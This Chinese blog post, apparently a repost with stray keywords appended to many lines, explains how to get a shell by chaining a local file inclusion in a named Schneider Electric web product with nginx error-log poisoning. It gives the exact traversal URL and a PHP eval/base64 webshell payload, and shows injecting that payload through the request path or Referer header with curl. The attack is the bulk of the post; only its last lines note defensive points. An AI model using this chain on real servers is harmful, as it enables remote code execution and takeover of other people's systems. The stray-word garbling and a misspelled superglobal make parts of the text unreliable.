在WEB滲透測試中尤爲是PHP,常常會挖到LFI漏洞,想要GETSHELL,但無奈沒有文件上傳的途徑,這裏給一個思路,拋磚引玉。php
近日施耐德電氣爆出的漏洞,首先獲得了一個本地包含,在這裏做爲靶目標使用。css
umotion/themes/schneider/include/css.php?css=../../../../../../../etc/nginx&theme=ivory&version=11028
經過文件包含,枚舉獲得nginx的配置文件。html
/etc/nginx/nginx.conf
配置文件中得到了nginx錯誤日誌的路徑,且關閉了訪問日誌。nginx
error_log /var/log/nginx_error.log; access_log off;
那麼咱們能夠利用錯誤日誌來構造合法的php代碼,從而利用包含漏洞。web
下面能夠很直觀想到的幾個問題:shell
什麼時候纔會向nginx錯誤日誌寫入錯誤內容。apache
如何控制咱們寫入的內容。瀏覽器
若是遇到轉義寫入如何繞過。架構
目前知道的狀況:curl
目標系統爲nginx + FastCGI + php架構。
經過觀察日誌能夠很容易發現,若是請求爲404/403等異常錯誤碼,或者FastCGI返回出錯信息,均會記錄到nginx錯誤日誌中,
2017/06/15 17:27:37 [error] 23229#0: *29454 open() "/web/html/favicon.ico" failed (2: No such file or directory), client:
能夠很容易發現,咱們的請求PATH會被寫入到錯誤日誌中(請求路徑不存在)。且攜帶咱們的IP信息,以及HTTP頭部的referrer。那麼咱們就能夠利用這兩點來構造。
這時候寫入
<?php eval(base64_decode($__REQUEST[fob]));?>
咱們構造
host/xx/?<?php eval(base64_decode($__REQUEST[fob]));?>
若是經過webkit內核瀏覽器訪問,webkit會自動轉移,直接經過curl發送。
這裏使用referrer來注入代碼到錯誤日誌中。還好nginx端沒有進行任何轉義,若是遇到轉義則須要見機行事,構造可用payload。
最後成功寫入向錯誤日誌中注入php代碼。
其實沒什麼技術含量,只是常常會遇到這種狀況,包括各類日誌,apache,nginx等。這裏只提供一個思路。設置站點權限的時候,這些點能夠關注下,包括讀取日誌獲得敏感信息(後臺,管理員信息等)。
本文永久地址[利用nginx日誌結合本地包含漏洞GetShell],轉載請註明出處。